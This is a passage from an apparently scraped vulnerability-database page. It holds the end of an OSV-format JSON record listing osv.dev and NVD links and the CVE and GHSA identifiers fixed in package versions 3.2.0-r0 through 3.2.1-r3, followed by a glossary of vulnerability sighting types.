"url": "https://osv.dev/vulnerability/CVE-2026-4539"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-45409"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-48522"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-48523"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-48524"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-48525"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-48526"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-48710"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-8328"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-8838"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-29h4-r29x-hchv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-29vq-49wr-vm6x"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2g68-c3qc-8985"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2vrm-gr82-f7m5"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3wq7-rqq7-wx6j"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5239-wwwm-4pmq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-53mr-6c8q-9789"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-63hf-3vf5-4wqf"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-68rp-wp8r-4726"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-752w-5fwx-jx9f"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-78cv-mqj4-43f7"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-79v4-65xg-pq4g"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7f5h-v6xp-fcq8"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7gcm-g887-7qv7"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-87hc-h4r5-73f7"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-966j-vmvw-g2g9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-c427-h43c-vf67"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-f9vj-2wh5-fj8j"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-fqwm-6jpj-5wxc"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-gc5v-m9x4-r6x2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-h4gh-qq45-vh27"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-hcc4-c3v8-rx92"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-hg6j-4rv6-33pg"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-hgf8-39gv-g3f2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-hrfv-mqp8-q5rw"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-jj8c-mmj3-mmgv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-jjhc-v7c2-5hh6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-jr27-m4p2-rc6r"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-m5qp-6w8w-w647"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-m959-cc7f-wv43"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-mj87-hwqh-73pj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-mwh4-6h8g-pg8w"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-p998-jp59-783m"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-q34m-jh98-gwm2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qjxf-f2mg-c6mc"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r6ph-v2qm-q3c2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-v92g-xgxw-vvmm"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-vfmq-68hx-4jfw"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w2fm-2cpv-w7v5"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xqmj-j6mv-4862"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46136"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12797"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34069"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49766"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49767"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62727"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66221"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0994"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21860"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22815"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25645"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26007"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27199"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27205"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27448"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27459"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31958"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32597"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34073"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34513"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34514"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34515"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34516"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34517"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34518"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34519"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34520"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34525"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35536"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40217"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40347"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41016"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41018"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41066"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42561"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44307"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44405"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44431"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44432"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44681"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45309"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4539"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45409"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48523"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48524"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48525"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48526"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48710"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8328"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8838"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2023-46136, CVE-2024-12797, CVE-2024-34069, CVE-2024-49766, CVE-2024-49767, CVE-2025-62727, CVE-2025-66221, CVE-2026-0994, CVE-2026-21860, CVE-2026-22815, CVE-2026-25645, CVE-2026-26007, CVE-2026-27199, CVE-2026-27205, CVE-2026-27448, CVE-2026-27459, CVE-2026-30922, CVE-2026-31958, CVE-2026-32597, CVE-2026-34073, CVE-2026-34513, CVE-2026-34514, CVE-2026-34515, CVE-2026-34516, CVE-2026-34517, CVE-2026-34518, CVE-2026-34519, CVE-2026-34520, CVE-2026-34525, CVE-2026-35536, CVE-2026-40217, CVE-2026-40347, CVE-2026-41016, CVE-2026-41018, CVE-2026-41066, CVE-2026-42561, CVE-2026-44307, CVE-2026-44405, CVE-2026-44431, CVE-2026-44432, CVE-2026-44681, CVE-2026-45309, CVE-2026-4539, CVE-2026-45409, CVE-2026-48522, CVE-2026-48523, CVE-2026-48524, CVE-2026-48525, CVE-2026-48526, CVE-2026-48710, CVE-2026-8328, CVE-2026-8838, ghsa-29h4-r29x-hchv, ghsa-29vq-49wr-vm6x, ghsa-2g68-c3qc-8985, ghsa-2vrm-gr82-f7m5, ghsa-3wq7-rqq7-wx6j, ghsa-5239-wwwm-4pmq, ghsa-53mr-6c8q-9789, ghsa-63hf-3vf5-4wqf, ghsa-68rp-wp8r-4726, ghsa-752w-5fwx-jx9f, ghsa-78cv-mqj4-43f7, ghsa-79v4-65xg-pq4g, ghsa-7f5h-v6xp-fcq8, ghsa-7gcm-g887-7qv7, ghsa-87hc-h4r5-73f7, ghsa-966j-vmvw-g2g9, ghsa-c427-h43c-vf67, ghsa-f9vj-2wh5-fj8j, ghsa-fqwm-6jpj-5wxc, ghsa-gc5v-m9x4-r6x2, ghsa-h4gh-qq45-vh27, ghsa-hcc4-c3v8-rx92, ghsa-hg6j-4rv6-33pg, ghsa-hgf8-39gv-g3f2, ghsa-hrfv-mqp8-q5rw, ghsa-jj8c-mmj3-mmgv, ghsa-jjhc-v7c2-5hh6, ghsa-jr27-m4p2-rc6r, ghsa-m5qp-6w8w-w647, ghsa-m959-cc7f-wv43, ghsa-mj87-hwqh-73pj, ghsa-mwh4-6h8g-pg8w, ghsa-p998-jp59-783m, ghsa-q34m-jh98-gwm2, ghsa-qjxf-f2mg-c6mc, ghsa-r6ph-v2qm-q3c2, ghsa-v92g-xgxw-vvmm, ghsa-vfmq-68hx-4jfw, ghsa-w2fm-2cpv-w7v5, ghsa-xqmj-j6mv-4862 applied in versions: 3.2.0-r0, 3.2.0-r1, 3.2.1-r2, 3.2.1-r3",
"upstream": [
"CVE-2023-46136",
"CVE-2024-12797",
"CVE-2024-34069",
"CVE-2024-49766",
"CVE-2024-49767",
"CVE-2025-62727",
"CVE-2025-66221",
"CVE-2026-0994",
"CVE-2026-21860",
"CVE-2026-22815",
"CVE-2026-25645",
"CVE-2026-26007",
"CVE-2026-27199",
"CVE-2026-27205",
"CVE-2026-27448",
"CVE-2026-27459",
"CVE-2026-30922",
"CVE-2026-31958",
"CVE-2026-32597",
"CVE-2026-34073",
"CVE-2026-34513",
"CVE-2026-34514",
"CVE-2026-34515",
"CVE-2026-34516",
"CVE-2026-34517",
"CVE-2026-34518",
"CVE-2026-34519",
"CVE-2026-34520",
"CVE-2026-34525",
"CVE-2026-35536",
"CVE-2026-40217",
"CVE-2026-40347",
"CVE-2026-41016",
"CVE-2026-41018",
"CVE-2026-41066",
"CVE-2026-42561",
"CVE-2026-44307",
"CVE-2026-44405",
"CVE-2026-44431",
"CVE-2026-44432",
"CVE-2026-44681",
"CVE-2026-45309",
"CVE-2026-4539",
"CVE-2026-45409",
"CVE-2026-48522",
"CVE-2026-48523",
"CVE-2026-48524",
"CVE-2026-48525",
"CVE-2026-48526",
"CVE-2026-48710",
"CVE-2026-8328",
"CVE-2026-8838",
"ghsa-29h4-r29x-hchv",
"ghsa-29vq-49wr-vm6x",
"ghsa-2g68-c3qc-8985",
"ghsa-2vrm-gr82-f7m5",
"ghsa-3wq7-rqq7-wx6j",
"ghsa-5239-wwwm-4pmq",
"ghsa-53mr-6c8q-9789",
"ghsa-63hf-3vf5-4wqf",
"ghsa-68rp-wp8r-4726",
"ghsa-752w-5fwx-jx9f",
"ghsa-78cv-mqj4-43f7",
"ghsa-79v4-65xg-pq4g",
"ghsa-7f5h-v6xp-fcq8",
"ghsa-7gcm-g887-7qv7",
"ghsa-87hc-h4r5-73f7",
"ghsa-966j-vmvw-g2g9",
"ghsa-c427-h43c-vf67",
"ghsa-f9vj-2wh5-fj8j",
"ghsa-fqwm-6jpj-5wxc",
"ghsa-gc5v-m9x4-r6x2",
"ghsa-h4gh-qq45-vh27",
"ghsa-hcc4-c3v8-rx92",
"ghsa-hg6j-4rv6-33pg",
"ghsa-hgf8-39gv-g3f2",
"ghsa-hrfv-mqp8-q5rw",
"ghsa-jj8c-mmj3-mmgv",
"ghsa-jjhc-v7c2-5hh6",
"ghsa-jr27-m4p2-rc6r",
"ghsa-m5qp-6w8w-w647",
"ghsa-m959-cc7f-wv43",
"ghsa-mj87-hwqh-73pj",
"ghsa-mwh4-6h8g-pg8w",
"ghsa-p998-jp59-783m",
"ghsa-q34m-jh98-gwm2",
"ghsa-qjxf-f2mg-c6mc",
"ghsa-r6ph-v2qm-q3c2",
"ghsa-v92g-xgxw-vvmm",
"ghsa-vfmq-68hx-4jfw",
"ghsa-w2fm-2cpv-w7v5",
"ghsa-xqmj-j6mv-4862"
],
"withdrawn": "2026-09-18T11:59:01.768079Z"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.